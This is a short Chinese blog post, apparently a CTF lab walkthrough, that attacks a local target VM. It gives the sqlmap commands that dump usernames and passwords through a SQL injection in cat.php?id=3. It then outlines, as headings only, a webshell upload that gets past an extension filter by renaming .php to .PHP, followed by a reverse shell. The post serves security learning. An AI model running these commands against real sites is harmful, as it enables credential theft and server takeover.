CTF-sql注入(get)【简单易懂】

前言

作者简介：不知名白帽，网络安全学习者。

博客主页：https://blog.csdn.net/m0_63127854?type=blog

CTF-专栏：https://blog.csdn.net/m0_63127854/category_11835386.html

网络安全交流社区：https://bbs.csdn.net/forums/angluoanquan

目录

环境配置

信息探测

探测敏感信息

尝试弱口令登录

漏洞扫描

web漏洞扫描器owasp-zap

扫描结果

漏洞利用

存在sql注入漏洞

获取数据库 

获取数据库下的表名

获取字段值

获取用户名和密码

登录系统

上传shell反弹权限

生成webshell

 制作webshell

 使用exploit

上传shell.php

.php改为.PHP

 打开PHP所在连接

 监听反应

 shell id

---

环境配置

kali 192.168.20.128

靶机 192.168.20.131

链接：https://pan.baidu.com/s/1EgN_06ZB1rcKbD8RG6mpag 
提取码：6pdq 

信息探测

探测敏感信息

尝试弱口令登录

漏洞扫描

web漏洞扫描器owasp-zap

扫描结果

漏洞利用

存在sql注入漏洞

sqlmap -u http://192.168.20.131/cat.php?id=3

获取数据库 

sqlmap -u http://192.168.20.131/cat.php?id=3 --dbs

发现数据库名information_schame和photolog

获取数据库下的表名

sqlmap -u http://192.168.20.131/cat.php?id=3 -D "photolog" --tables

发现三个表名,categories,pictures,users 

获取字段值

sqlmap -u http://192.168.20.131/cat.php?id=3 -D "photolog" -T "users" --columns

发现id,login,password等字段

获取用户名和密码

sqlmap -u http://192.168.20.131/cat.php?id=3 -D "photolog" -T "users" -C 'login,password' --dump

 

登录系统

上传shell反弹权限

生成webshell

 制作webshell

 使用exploit

上传shell.php

.php改为.PHP

 打开PHP所在连接

 监听反应

 shell id